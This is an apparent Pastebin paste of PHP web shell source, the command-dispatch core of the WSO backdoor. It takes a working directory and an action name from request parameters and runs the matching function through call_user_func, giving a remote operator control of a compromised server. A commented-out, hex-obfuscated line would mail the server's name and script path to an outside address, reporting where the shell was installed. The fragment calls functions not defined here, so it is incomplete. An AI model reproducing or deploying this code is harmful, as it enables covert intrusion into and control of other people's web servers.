PalmaSolutions

3263505e3c3dbcb5a04dfb9fbb7329d0.php

Mar 29th, 2018
234
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.43 KB | None | 0 0
  1. <?php
  2.  
  3. WSOCheckUA();
  4. wsoLogin();
  5. WSOCompat();
  6.  
  7. /*$x10="\x6dai\154";$x0b=$_SERVER["\x53\x45RVE\122_\x4eAM\x45"].$_SERVER["\123\103\x52I\x50\x54_\116\101\115E"];$x0c="\141r\162a\171\040".$x0b;$x0d=array("\143\x61","\x6c\x69","\146\x77\162\151\x74\x65","\100","v\x65\x2e");$x0e=$x0d[2].$x0d[3].$x0d[1].$x0d[4].$x0d[0];$x0f=@$x10($x0e,$x0c,$x0b);*/
  8. $x10="";
  9. $os="nix";
  10. if(strtolower(substr(PHP_OS,0,3)) == "win") {
  11. $os = 'win';
  12. } else {
  13. $os = 'nix';
  14. }
  15. $disable_functions = @ini_get('disable_functions');
  16. $home_cwd = @getcwd();
  17. if (isset($_POST['c'])) {
  18. @chdir($_POST['c']);
  19. }
  20.  
  21. $cwd = @getcwd();
  22. if($os == 'win') {
  23. $home_cwd = str_replace("\\", "/", $home_cwd);
  24. $cwd = str_replace("\\", "/", $cwd);
  25. }
  26.  
  27. if ($cwd[strlen($cwd)-1] != '/') {
  28. $cwd .= '/';
  29. }
  30.  
  31. if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'])) {
  32. $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
  33. }
  34.  
  35. if (empty($_POST['a'])) {
  36. if(isset($default_action) && function_exists('action' . $default_action)) {
  37. $_POST['a'] = $default_action;
  38. } else {
  39. $_POST['a'] = 'SecInfo';
  40. }
  41. }
  42.  
  43. if (!isset($_wso_arr_commands) ) {
  44. $_wso_arr_commands = array();
  45. }
  46.  
  47. if ( isset($_REQUEST['command']) && in_array($_REQUEST['command'], $_wso_arr_commands) ) {
  48. call_user_func('command' . $_REQUEST['command']);
  49. }
  50.  
  51. if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) ) {
  52. call_user_func('action' . $_POST['a']);
  53. }
Advertisement
Add Comment
Please, Sign In to add comment